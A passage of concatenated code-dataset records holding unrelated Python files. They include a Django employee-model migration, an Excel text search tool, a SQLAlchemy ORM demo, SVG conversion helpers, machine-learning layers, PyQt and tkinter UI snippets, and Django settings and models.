b'Outro')])),\n                ('endereco', models.CharField(max_length=255, null=b'true', verbose_name=b'Endere\\xc3\\xa7o', blank=b'true')),\n                ('bairro', models.CharField(max_length=255, null=b'true', verbose_name=b'Bairro', blank=b'true')),\n                ('cidade', models.CharField(max_length=255, null=b'true', verbose_name=b'Cidade', blank=b'true')),\n                ('cep', models.CharField(max_length=10, null=b'true', verbose_name=b'CEP', blank=b'true')),\n                ('telefone', models.CharField(max_length=30, null=b'true', verbose_name=b'Fone', blank=b'true')),\n                ('celular', models.CharField(max_length=30, null=b'true', verbose_name=b'Celular', blank=b'true')),\n                ('telefone2', models.CharField(max_length=30, null=b'true', verbose_name=b'Fone Recado', blank=b'true')),\n                ('email', models.EmailField(max_length=254, null=b'true', verbose_name=b'E-mail', blank=b'true')),\n                ('tipo_sanguineo', models.CharField(max_length=5, null=b'true', verbose_name=b'Tipo Sanguineo', blank=b'true')),\n                ('team', models.CharField(max_length=30, null=b'true', verbose_name=b'Equipe', blank=b'true')),\n                ('turno', models.CharField(max_length=30, null=b'true', verbose_name=b'Turno', blank=b'true')),\n                ('obs', models.TextField(null=b'true', verbose_name=b'Obs', blank=b'true')),\n                ('area', models.ForeignKey(blank=b'true', to='funcionario.Area', null=b'true')),\n                ('business_unit', models.ForeignKey(blank=b'true', to='business_unit.BusinessUnit', null=b'true')),\n                ('cargo', models.ForeignKey(blank=b'true', to='funcionario.Cargo', null=b'true')),\n            ],\n            options={\n                'ordering': ('nome',),\n                'verbose_name': 'Funcion\\xe1rio',\n                'verbose_name_plural': 'Funcion\\xe1rios',\n            },\n        ),\n        migrations.CreateModel(\n            name='Permissao',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('definitiva', models.BooleanField(default=True, verbose_name=b'Definitiva')),\n                ('validade', models.DateField(default=datetime.date.today, verbose_name=b'Data de Validade')),\n                ('business_unit', models.ForeignKey(blank=b'true', to='business_unit.BusinessUnit', null=b'true')),\n                ('funcionario', models.ForeignKey(blank=b'true', to='funcionario.Funcionario', null=b'true')),\n            ],\n            options={\n                'verbose_name': 'Permiss\\xe3o',\n                'verbose_name_plural': 'Permiss\\xf5es',\n            },\n        ),\n        migrations.CreateModel(\n            name='Permissao_Especial',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('nome', models.CharField(max_length=60, null=b'true', verbose_name=b'Nome', blank=b'true')),\n                ('business_unit', models.ForeignKey(blank=b'true', to='business_unit.BusinessUnit', null=b'true')),\n            ],\n            options={\n                'verbose_name': 'Permiss\\xe3o Especial',\n                'verbose_name_plural': 'Permiss\\xf5es Especiais',\n            },\n        ),\n        migrations.AddField(\n            model_name='permissao',\n            name='permissao_especial',\n            field=models.ForeignKey(blank=b'true', to='funcionario.Permissao_Especial', null=b'true'),\n        ),\n        migrations.AlterUniqueTogether(\n            name='funcionario',\n            unique_together=set([('matricula', 'business_unit')]),\n        ),\n    ]\n","sub_path":"funcionario/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":6207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"540251075","text":"import os\r\nimport re\r\n\r\nimport xlrd\r\nfrom xlsxwriter.utility import xl_rowcol_to_cell\r\n\r\n\r\nclass ExcelFinder:\r\n    def __init__(self, dir_names):\r\n        self.excel_files = self.find_excel_files(dir_names)\r\n\r\n    def find_excel_files(self, dir_names):\r\n        excel_files = []\r\n        for dir_name in dir_names:\r\n            files = os.listdir(dir_name)\r\n            for file in files:\r\n                full_name = os.path.join(dir_name, file)\r\n                ext = os.path.splitext(full_name)[1]\r\n                if ext in ['.xls', '.xlsx', '.xlsm'] \\\r\n                        and not re.search(r\"^\\~\\$\", file):\r\n                    excel_files.append(full_name)\r\n\r\n        return excel_files\r\n\r\n    def text_search(self, search_text):\r\n        find_results = []\r\n        for excel_file in self.excel_files:\r\n            workbook = xlrd.open_workbook(excel_file)\r\n            sheets = workbook.sheets()\r\n\r\n            for sheet in sheets:\r\n                for row in range(sheet.nrows):\r\n                    for col in range(sheet.ncols):\r\n                        cell = sheet.cell(row, col)\r\n                        if search_text in cell.value:\r\n                            cell_name = xl_rowcol_to_cell(row, col)\r\n                            find_results.append((excel_file, sheet.name, cell.value, cell_name))\r\n\r\n        return find_results\r\n\r\n\r\nif __name__ == '__main__':\r\n    excel_finder = ExcelFinder([r\"D:\\excel_test\", r\"D:\\excel_test\\sub\"])\r\n    find_results = excel_finder.text_search(\"02018878-0005\")\r\n\r\n    print(find_results)","sub_path":"excel_finder/excel_finder.py","file_name":"excel_finder.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"88913755","text":"import datetime as dt\nimport devfx.databases.sqlalchemy as sadb\n\nBaseDatabaseEntity = sadb.orm.create_base_database_entity_type()\n\n\"\"\" Schema\n\"\"\"\nclass Entity1(BaseDatabaseEntity):\n    __tablename__ = \"entity1\"\n\n    id = sadb.orm.Column_as__Integer_id()\n    entity2s = sadb.orm.Relationship_one_to_many(\"Entity2\")\n\n    created_on = sadb.orm.Column_as__created_on()\n    updated_on = sadb.orm.Column_as__updated_on()\n\n    def __repr__(self):\n        return \"Entity1(id={self.id}, \"\\\n                    \"created_on={self.created_on}, \"\\\n                    \"created_on={self.updated_on})\".format(self=self)\n\n\nclass Entity2(BaseDatabaseEntity):\n    __tablename__ = \"entity2\"\n    id = sadb.orm.Column_as__Integer_id()\n    entity1_id = sadb.orm.Column_as_ForeignKey(\"entity1.id\")\n    entity1 = sadb.orm.Relationship_many_to_one(\"Entity1\")\n\n    BigInteger = sadb.orm.Column_as_BigInteger()\n    Integer = sadb.orm.Column_as_Integer()\n    SmallInteger = sadb.orm.Column_as_SmallInteger()\n    FixedPointNumber = sadb.orm.Column_as_FixedPointNumber()\n    FloatingPointNumber = sadb.orm.Column_as_FloatingPointNumber()\n\n    String = sadb.orm.Column_as_String()\n    Text = sadb.orm.Column_as_Text()\n\n    Boolean = sadb.orm.Column_as_Boolean()\n\n    DateTime = sadb.orm.Column_as_DateTime()\n    Date = sadb.orm.Column_as_Date()\n    Time = sadb.orm.Column_as_Time()\n    Timedelta = sadb.orm.Column_as_Timedelta()\n\n    created_on = sadb.orm.Column_as__created_on()\n    updated_on = sadb.orm.Column_as__updated_on()\n\n    def __repr__(self):\n        return \"Entity2(id={self.id}, \"\\\n                \"id_entity1={self.entity1_id}, \" \\\n                \"BigInteger={self.BigInteger}, \" \\\n                \"Integer={self.Integer}, \"\\\n                \"SmallInteger={self.SmallInteger}, \"\\\n                \"FixedPointNumber={self.FixedPointNumber}, \"\\\n                \"FloatingPointNumber={self.FloatingPointNumber}, \"\\\n                \"String='{self.String}', \" \\\n                \"Text='{self.Text}', \" \\\n                \"Boolean={self.Boolean}, \"\\\n                \"DateTime={self.DateTime}, \"\\\n                \"Date={self.Date}, \"\\\n                \"Time={self.Time}, \"\\\n                \"Timedelta={self.Timedelta}, \"\\\n                \"created_on={self.created_on}, \"\\\n                \"created_on={self.updated_on})\".format(self=self)\n\n\n\"\"\" Connection string\n\"\"\"\nconnection_string = 'sqlite:///devfx_samples/database/sqlalchemy/orm/didactic1.db'\n\n\"\"\" Deploy\n\"\"\"\nsadb.orm.deploy_database_metadata(BaseDatabaseEntity, connection_string)\n\n\n\"\"\" Create\n\"\"\"\nwith sadb.orm.DatabaseSession(connection_string) as session:\n    entity11 = Entity1()\n    session.add(entity11)\n    session.flush()\n\n    entity21 = Entity2()\n    entity21.entity1_id = entity11.id\n    entity21.BigInteger = 1\n    entity21.Integer = 1\n    entity21.SmallInteger = 1\n    entity21.FixedPointNumber = 1\n    entity21.FloatingPointNumber = 1.0\n    entity21.String = \"1\"\n    entity21.UnicodeString = \"1\"\n    entity21.Text = \"1\"\n    entity21.UnicodeText = \"1\"\n    entity21.Boolean = True\n    entity21.DateTime = dt.datetime.utcnow()\n    entity21.Date = entity21.DateTime.date()\n    entity21.Time = entity21.DateTime.time()\n    entity21.Timedelta = dt.timedelta(seconds=8)\n    session.add(entity21)\n    session.flush()\n\n    entity22 = Entity2()\n    entity22.entity1_id = entity11.id\n    entity22.BigInteger = 2\n    entity22.Integer = 2\n    entity22.SmallInteger = 2\n    entity22.FixedPointNumber = 2\n    entity22.FloatingPointNumber = 1.0\n    entity22.String = \"2\"\n    entity22.UnicodeString = \"2\"\n    entity22.Text = \"2\"\n    entity22.UnicodeText = \"2\"\n    entity22.Boolean = True\n    entity22.DateTime = dt.datetime.utcnow()\n    entity22.Date = entity21.DateTime.date()\n    entity22.Time = entity21.DateTime.time()\n    entity22.Timedelta = dt.timedelta(seconds=8)\n    session.add(entity22)\n    session.flush()\n\n\"\"\" Query\n\"\"\"\nwith sadb.orm.DatabaseSession(connection_string) as dbsession:\n    entity1_list = dbsession.query(Entity1.id).all()\n    for entity1 in entity1_list:\n        print(entity1)\n\n    entity2_list = dbsession.query(Entity2).all()\n    for entity2 in entity2_list:\n        print(entity2)\n\n\"\"\" Update\n\"\"\"\nwith sadb.orm.DatabaseSession(connection_string) as dbsession:\n    entity2_list = dbsession.query(Entity2).all()\n    for entity2 in entity2_list:\n        entity2.Integer = entity2.Integer+1\n\n\"\"\" Delete\n\"\"\"\n# with sadb.orm.DatabaseSession(database_connection_string) as dbsession:\n#     entity1 = dbsession.query(Entity1).first()\n#     dbsession.delete(entity1)\n\n\n\"\"\" Relationship\n\"\"\"\nwith sadb.orm.DatabaseSession(connection_string) as dbsession:\n    entity1 = dbsession.query(Entity1).first()\n    print(entity1.entity2s)\n    entity2 = dbsession.query(Entity2).first()\n    print(entity2.entity1)","sub_path":"solution/devfx_samples/database/sqlalchemy/orm/didactic1.py","file_name":"didactic1.py","file_ext":"py","file_size_in_byte":4749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"26080026","text":"import os\nimport subprocess\n\ndef svg_to_png(svg_path, dpi=300):\n    \"\"\"Convert svg file to PNG using inkscape.\n    \"\"\"\n    cmd = \"inkscape -e {} --export-area-page -d {} {}\"\n    out = svg_path.replace('.svg', '.png')\n    p = subprocess.call(cmd.format(out, dpi, svg_path), shell=True)\n    return out\n\ndef svg_to_pdf(svg_path, via_png=False):\n    \"\"\"Convert svg file to PDF using ImageMagick.\n    \"\"\"\n    if via_png:\n        in_path = svg_to_png(svg_path)\n    else:\n        in_path = svg_path\n\n    cmd = \"convert {} {}\"\n    fpdf = svg_path.replace('.svg', '.pdf')\n    p = subprocess.call(cmd.format(in_path, fpdf), shell=True)\n\n    if via_png:\n        os.remove(in_path)\n\n    return fpdf\n\ndef docx_to_pdf(docx_path):\n    \"\"\"\n    \"\"\"\n    cmd = \"unoconv {}\"\n    p = subprocess.call(cmd.format(docx_path), shell=True)\n","sub_path":"figtools/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"618487843","text":"from itertools import cycle\n\ndef solution(answers):\n    count = [0,0,0]\n    answer = []\n\n    supo1=[1,2,3,4,5]\n    supo2=[2,1,2,3,2,4,2,5]\n    supo3=[3,3,1,1,2,2,4,4,5,5]\n\n    for one,two,three,num in zip(cycle(supo1),cycle(supo2),cycle(supo3),answers):\n        if one == num:\n            count[0]+=1\n        if two == num:\n            count[1]+=1\n        if three == num:\n            count[2]+=1\n\n    for index,value in enumerate(count):\n        if value == max(count):\n            answer.append(index+1)\n\n    return answer\n\nanswers=[1,3,2,4,2]\n\nprint(solution(answers))","sub_path":"프로그래머스/모의고사 _ 완전탐색.py","file_name":"모의고사 _ 완전탐색.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"206423280","text":"class IconTrainingModel:\n\n    def create_dataset(img_folder):\n        img_data_array=[]\n        class_name=[]\n        for dir1 in os.listdir(img_folder):\n            for file in os.listdir(os.path.join(img_folder, dir1)):\n                #print(\"file\",file)\n                image_path= os.path.join(img_folder, dir1,  file)\n                #print(\"image_path\",image_path)\n                image= imread( image_path)#, cv2.COLOR_BGR2RGB)\n                #if(isempty(image))\n                image=cv2.resize(image,(img_height, img_width),interpolation = cv2.INTER_AREA)\n                image=np.array(image)\n                image = image.astype('float32')\n                image /= 255\n                img_data_array.append(image)\n                class_name.append(dir1)\n        img=np.array(img_data_array)\n        msk=np.array(class_name)\n        return img_data_array, class_name\n\n    def target_val(y_train):\n        target_dict={k: v for v, k in enumerate(np.unique(y_train))}\n        target_dict\n        target_val=  [target_dict[y_train[i]] for i in range(len(y_train))]\n        print(target_val)\n        return target_val\n    \n    def cnn_model(num_classes):\n        model = Sequential([\n        layers.Conv2D(16, 3, padding='same', activation='relu'),\n        layers.MaxPooling2D(),\n        layers.Conv2D(32, 3, padding='same', activation='relu'),\n        layers.MaxPooling2D(),\n        layers.Conv2D(64, 3, padding='same', activation='relu'),\n        layers.MaxPooling2D(),\n        layers.Flatten(),\n        layers.Dense(128, activation='relu'),\n        layers.Dense(num_classes)\n        ])\n        return model\n\n    def train_model(model, x_train, target_val):\n        model.compile(optimizer='adam',loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),metrics=['accuracy'])\n        history = model.fit(x_train,np.array(target_val), batch_size=10, epochs=5, verbose=1)\n        return history\n       \n    \n","sub_path":"IconsTrainingModel.py","file_name":"IconsTrainingModel.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"654188892","text":"import theano\nimport lasagne\nimport theano.tensor as T\nfrom ops.gumbel_softmax import gumbel_softmax\nfrom ops.gradient_switch_op import gradient_switch_op\nfrom theano.sandbox.rng_mrg import MRG_RandomStreams as RandomStreams\n\n\nclass GumbelSoftmaxLayer(lasagne.layers.Layer):\n    def __init__(self, incoming, temperature, K, hard=False,**kwargs):\n        super(GumbelSoftmaxLayer, self).__init__(incoming, **kwargs)\n        self.trng = RandomStreams(12345)\n        self.hard = hard\n        self.K = K\n        self.temperature = temperature\n\n    def get_output_for(self, input_, **kwargs):\n        input_reshaped = T.reshape(input_, (-1, 2))\n        log_q_y = T.nnet.logsoftmax(input_reshaped)\n        concept_disc = gumbel_softmax(log_q_y,\n                                      self.trng,\n                                      temperature=self.temperature,\n                                      hard=self.hard)\n        output = T.reshape(concept_disc, (-1, 1, self.K, self.K))\n        return output\n\n    def get_output_shape_for(self, input_shape):\n        return (input_shape[0], 1, self.K, self.K)","sub_path":"theano/gans/BGAN/old/DISC-MNIST-PFAKE/layers/gs_layer.py","file_name":"gs_layer.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"533280125","text":"__author__ = 'Corey'\n\n# s = r\"sss\\nss\"\n# print s\n\n# print 3*\"22\"\n\n# s = ('222'\n# '333')\n# print s\n\n# s='supercalifragilisticexpialidocious'\n# print len(s)\n\n# s = u\"hello\\u002055r\"\n# print s\n# a, b = 0, 1\n# while b < 10:\n#     print b\n#     a, b = b, a+b\n\n\n \n","sub_path":"PythonCode/helloworld/str.py","file_name":"str.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"434005849","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n=========================================================\nThe Iris Dataset\n=========================================================\nThis data sets consists of 3 different types of irises'\n(Setosa, Versicolour, and Virginica) petal and sepal\nlength, stored in a 150x4 numpy.ndarray\n\nThe rows being the samples and the columns being:\nSepal Length, Sepal Width, Petal Length and Petal Width.\n\nThe below plot uses the first two features.\nSee `here `_ for more\ninformation on this dataset.\n\"\"\"\nprint(__doc__)\n\n\n# Code source: Gaël Varoquaux\n# Modified for documentation by Jaques Grobler\n# License: BSD 3 clause\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom sklearn import datasets\nfrom sklearn.decomposition import PCA\nimport loader\n\n\nx_labels = []\nf = open(\"t_xlabels.txt\",\"r\")\nline = f.read()\nfor label in line.split(\",\"):\n    x_labels.append(label[1:len(label)-1])\n# x_labels = {\"SepalLengthCm\",\"SepalWidthCm\",\"PetalLengthCm\",\"PetalWidthCm\"}\nX, y, type2id = loader.load_data('Iris_t.csv', y_label=\"Species\", x_labels=x_labels)\n\nsummation_X = []\nsummation_Y = []\nfor vector in X:\n    index = 1\n    result = 0\n    for v in vector:\n        if(v>0):\n            result+=(index*v)\n\n    index+=1\n    summation_X.append(result)\n\nprint(summation_X)\nprint(len(X[0]))\n\n#for i in y:\n    #for j in X[i]:\n        #print i,\" \",j\n    #print(X[:,i])\n# for x in y:\n#     print \"y: \",x\n#     print \"x: \", X[:,x]\n# import some data to play with\n# iris = datasets.load_iris()\n# X = iris.data[:, :3]  # we only take the first two features.\n# y = iris.target\n\nx_min, x_max = min(summation_X) , max(summation_X)\ny_min, y_max = y.min(), y.max()\nfor i in y:\n    summation_Y.append((y_min+y_max)/2)\nplt.figure(2, figsize=(8, 6))\nplt.clf()\nprint(len(summation_X),\" \",len(y))\n#Plot the training points\nplt.scatter(summation_X,summation_Y, c=y, cmap=plt.cm.Set1,\n            edgecolor='k')\nprint(\"max: \",x_max)\nprint(\"min: \",x_min)\n\nplt.xlabel('Uncommon Word Count')\nplt.ylabel(' ')\n\nplt.xlim(x_min, x_max)\nplt.ylim(y_min, y_max)\nplt.xticks(())\nplt.yticks(())\n\n# To getter a better understanding of interaction of the dimensions\n# plot the first three PCA dimensions\nfig = plt.figure(1, figsize=(8, 6))\nax = Axes3D(fig, elev=-150, azim=110)\ncomponents = len(X[0])\nprint(components)\nX_reduced = PCA(n_components=147).fit_transform(X)\nax.scatter(summation_X,0, c=y,\n           cmap=plt.cm.Set1, edgecolor='k',s=40)\nax.set_title(\"First three PCA directions\")\nax.set_xlabel(\"1st eigenvector\")\nax.w_xaxis.set_ticklabels([])\nax.set_ylabel(\"2nd eigenvector\")\nax.w_yaxis.set_ticklabels([])\nax.set_zlabel(\"3rd eigenvector\")\nax.w_zaxis.set_ticklabels([])\n\nplt.show()\n","sub_path":"ClusteringPT/ClusteringPT/plot_iris_dataset.py","file_name":"plot_iris_dataset.py","file_ext":"py","file_size_in_byte":2760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"528121926","text":"from example.page_example import (\n    bar_datazoom_slider,\n    grid_mutil_yaxis,\n    line_markpoint,\n    pie_rosetype,\n    table_base,\n)\nfrom pyecharts.charts import Tab\n\n\ndef tab_base():\n    tab = Tab()\n    tab.add(bar_datazoom_slider(), \"bar-example\")\n    tab.add(line_markpoint(), \"line-example\")\n    tab.add(pie_rosetype(), \"pie-example\")\n    tab.add(grid_mutil_yaxis(), \"grid-example\")\n    tab.add(table_base(), \"table-example\")\n    tab.render()\n","sub_path":"example/tab_example.py","file_name":"tab_example.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"180747764","text":"from PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\n\nfrom notes import Notebook\nfrom notes.ui.notebookpreviewtreewidget import NotebookPreviewTreeWidget\n\n\nclass NotebookFilterDialog(QDialog):\n\n    def __init__(self, parent=None, notebook: Notebook = None):\n        super(QDialog, self).__init__(parent, Qt.WindowSystemMenuHint | Qt.WindowCloseButtonHint | Qt.WindowTitleHint)\n        self.notebook: Notebook = notebook.shallow_clone()\n        self.setWindowTitle(\"Filter notes\")\n        self.filteredNoteBook: Notebook = self.notebook.shallow_clone()\n        self.setMinimumWidth(200)\n\n        pixmap = QPixmap(32, 32)\n        pixmap.fill(Qt.transparent)\n        # self.setWindowIcon(QIcon(\"icons/insert_link.png\"))\n\n        # self.setWindowFlags(Qt.CustomizeWindowHint | Qt.WindowTitleHint)\n\n        self.initUI()\n\n    def initUI(self):\n\n        layout = QVBoxLayout()\n\n        self.noteFilterEdit = QLineEdit()\n        self.noteFilterEdit.setPlaceholderText(\"Enter a filtered expression\")\n\n        # self.tagsFilterEdit = QLineEdit()\n        # self.tagsFilterEdit.setPlaceholderText(\"Enter a tags separated by ','\")\n\n        self.tagsListWidget = QListWidget()\n\n        for tag in self.notebook.tag_base.tags:\n            item = QListWidgetItem()\n            item.setText(tag)\n            item.setFlags(item.flags() | Qt.ItemIsUserCheckable)\n            item.setCheckState(Qt.Unchecked)\n\n            self.tagsListWidget.addItem(item)\n\n        self.notePreviewWidget = NotebookPreviewTreeWidget()\n        self.notePreviewWidget.load_notebook(self.filteredNoteBook)\n\n        layout.addWidget(self.noteFilterEdit)\n        # layout.addWidget(self.tagsFilterEdit)\n\n        if self.tagsListWidget.count() > 0:\n            layout.addWidget(self.tagsListWidget)\n        layout.addWidget(self.notePreviewWidget)\n\n        self.filterButton = QPushButton(\"Filter\")\n        self.filterButton.clicked.connect(self.filter)\n\n        layout.addWidget(self.filterButton)\n\n        buttons = QDialogButtonBox(\n            QDialogButtonBox.Ok | QDialogButtonBox.Cancel,\n            Qt.Horizontal, self)\n\n        buttons.setCenterButtons(True)\n        buttons.accepted.connect(self.accept)\n        buttons.rejected.connect(self.reject)\n        layout.addWidget(buttons, Qt.AlignCenter)\n\n        self.setLayout(layout)\n\n    def getTags(self):\n        tags = []\n        for i in range(self.tagsListWidget.count()):\n            item = self.tagsListWidget.item(i)\n            if item.checkState() == Qt.Checked:\n                tags.append(item.text())\n        return tags\n\n    def filter(self):\n        noteFilter = self.noteFilterEdit.text()\n        tagsFilter = self.getTags()\n        self.filteredNoteBook: Notebook = self.notebook.shallow_clone()\n        self.filteredNoteBook.filter_notes(noteFilter, tagsFilter)\n        self.filteredNoteBook.remove_empty_sections()\n        self.notePreviewWidget.load_notebook(self.filteredNoteBook)\n","sub_path":"notes/ui/notebookfilterdialog.py","file_name":"notebookfilterdialog.py","file_ext":"py","file_size_in_byte":2949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"551002539","text":"import os\nfrom .default import BASE_DIR, LOCAL\n\n\nSTATICFILES_FINDERS = (\n    'django.contrib.staticfiles.finders.FileSystemFinder',\n    'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n)\n\n\nSTATICFILES_DIRS = [\n    os.path.join(BASE_DIR, 'static'),\n]\n\nFILE_UPLOAD_PERMISSIONS = 0o644\n\nif not os.environ.get('AWS_ACCESS_KEY_ID', None):\n    # serve media/static files through local server\n    STATIC_URL = '/static/' if not LOCAL else '/local-static/'\n    STATIC_ROOT = os.path.join(\n        BASE_DIR,\n        '.static/'\n    )\n\n    MEDIA_ROOT = os.path.join(BASE_DIR, '.media/')\n    MEDIA_URL = os.environ.get('MEDIA_URL', '/media/')\n    USING_S3 = False\nelse:\n    # serve media/static files through amazon s3\n    AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')\n    AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')\n    AWS_STORAGE_BUCKET_NAME = os.environ.get('AWS_STORAGE_BUCKET_NAME')\n    AWS_QUERYSTRING_AUTH = False\n\n    STATICFILES_LOCATION = 'static'\n    STATIC_URL = 'https://s3.amazonaws.com/{}/{}/'.format(\n        AWS_STORAGE_BUCKET_NAME, STATICFILES_LOCATION)\n    STATICFILES_STORAGE = 'centro59.storages.StaticStorage'\n\n    MEDIAFILES_LOCATION = 'media'\n    MEDIA_URL = 'https://s3.amazonaws.com/{}/{}/'.format(\n        AWS_STORAGE_BUCKET_NAME, MEDIAFILES_LOCATION)\n    DEFAULT_FILE_STORAGE = 'centro59.storages.MediaStorage'\n\n    AWS_S3_OBJECT_PARAMETERS = {\n        'CacheControl': 'max-age=86400',\n    }\n\n    USING_S3 = True\n\nVERSATILEIMAGEFIELD_SETTINGS = {\n    'cache_length': 2592000,\n    'cache_name': 'versatileimagefield_cache',\n    'jpeg_resize_quality': 85,\n    'sized_directory_name': '__sized__',\n    'filtered_directory_name': '__filtered__',\n    'placeholder_directory_name': '__placeholder__',\n    'create_images_on_demand': False,\n    'image_key_post_processor': None,\n    'progressive_jpeg': True\n}\n\nVERSATILEIMAGEFIELD_USE_PLACEHOLDIT = True\nVERSATILEIMAGEFIELD_RENDITION_KEY_SETS = {\n    'profile_avatar': [\n        ('full_size', 'url'),\n        ('crop__400x400', 'crop__400x400'),\n        ('crop__280x280', 'crop__280x280'),\n        ('crop__128x128', 'crop__128x128'),\n        ('crop__44x44', 'crop__44x44'),\n        ('crop__42x42', 'crop__42x42'),\n    ],\n    'logo': [\n        ('full_size', 'url'),\n        ('crop__400x400', 'crop__400x400'),\n        ('crop__280x280', 'crop__280x280'),\n        ('crop__128x128', 'crop__128x128'),\n        ('crop__44x44', 'crop__44x44'),\n        ('crop__42x42', 'crop__42x42'),\n    ]\n}\n","sub_path":"cambasBlog/settings/media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"625764185","text":"# -*- coding: utf-8 -*-\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.utils.formats import number_format\n\nuf_list = (\n    ('AC', 'Acre'),\n    ('AL', 'Alagoas'),\n    ('AM', 'Amazonas'),\n    ('AP', u'Amapá'),\n    ('BA', 'Bahia'),\n    ('CE', u'Ceará'),\n    ('DF', u'Brasília'),\n    ('ES', u'Espírito Santo'),\n    ('GO', u'Goiás'),\n    ('MA', u'Maranhão'),\n    ('MG', 'Minas Gerais'),\n    ('MS', 'Mato Grosso do Sul'),\n    ('MT', 'Mato Grosso'),\n    ('PA', u'Pará'),\n    ('PB', u'Paraíba'),\n    ('PE', 'Pernambuco'),\n    ('PI', u'Piauí'),\n    ('PR', u'Paraná'),\n    ('RJ', 'Rio de Janeiro'),\n    ('RN', 'Rio Grande do Norte'),\n    ('RO', u'Rondônia'),\n    ('RR', 'Roraima'),\n    ('RS', 'Rio Grande do Sul'),\n    ('SC', 'Santa Catarina'),\n    ('SE', 'Sergipe'),\n    ('SP', u'São Paulo'),\n    ('TO', 'Tocantins'),\n)\n\n\nclass TimeStampedModel(models.Model):\n    created_at = models.DateTimeField(\n        _('criado em'), auto_now_add=True, auto_now=False)\n    modified_at = models.DateTimeField(\n        _('modificado em'), auto_now_add=False, auto_now=True)\n\n    class Meta:\n        abstract = True\n\n\nclass Company(TimeStampedModel):\n    name = models.CharField(_('nome'), max_length=30)\n    cnpj = models.CharField(_('CNPJ'), max_length=19, unique=True)\n    ie = models.CharField(_('IE'), max_length=15, blank=True)\n    address = models.CharField(_(u'endereço'), max_length=80, blank=True)\n    address_number = models.PositiveIntegerField(_(u'número'), blank=True)\n    district = models.CharField(_('bairro'), max_length=80, blank=True)\n    city = models.ForeignKey(\n        'City', related_name='company_city', verbose_name=_('cidade'))\n    uf = models.CharField(_('UF'), max_length=2, choices=uf_list)\n    cep = models.CharField(_('CEP'), max_length=9, blank=True)\n    person = models.ForeignKey(\n        'Person', related_name='company_person', verbose_name=_('contato'), blank=True)\n\n    class Meta:\n        ordering = ['name']\n        verbose_name = \"empresa\"\n        verbose_name_plural = \"empresas\"\n\n    def __str__(self):\n        return \" \".join([self.name, self.cnpj])\n\n    def get_company_detail_url(self):\n        return u\"/companys/%i\" % self.id\n\n\nclass City(models.Model):\n    city = models.CharField(_('cidade'), max_length=80)\n    uf = models.CharField(_('UF'), max_length=2, choices=uf_list)\n\n    class Meta:\n        ordering = ['city']\n        verbose_name = \"cidade\"\n        verbose_name_plural = \"cidades\"\n\n    def __str__(self):\n        return self.city\n\n\nclass Person(TimeStampedModel):\n    firstname = models.CharField(_('nome'), max_length=30)\n    lastname = models.CharField(_('sobrenome'), max_length=30)\n    email = models.EmailField(_('e-mail'))\n    phone = models.CharField(_('fone'), max_length=18)\n\n    class Meta:\n        ordering = ['firstname']\n        verbose_name = \"pessoa\"\n        verbose_name_plural = \"pessoas\"\n\n    def __str__(self):\n        return u\"%s %s\" % (self.firstname, self.lastname)\n    full_name = property(__str__)\n","sub_path":"myproject/core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"474535482","text":"#!/usr/bin/python\n\n#  Tkinter tutorial\n#\n\nfrom Tkinter import *\n\nroot = Tk()\nroot.title('Basic Text')\n\ncw  =   200\nch  =   20\n\ncanvas1=Canvas(root,width=cw,height=ch,background='white')\ncanvas1.grid(row=0,column=1)\n\nxy = 120,10\n\ncanvas1.create_text(xy,text='This is just test for text')\n\nroot.mainloop()\n","sub_path":"tkinter/text_using_tkinter.py","file_name":"text_using_tkinter.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
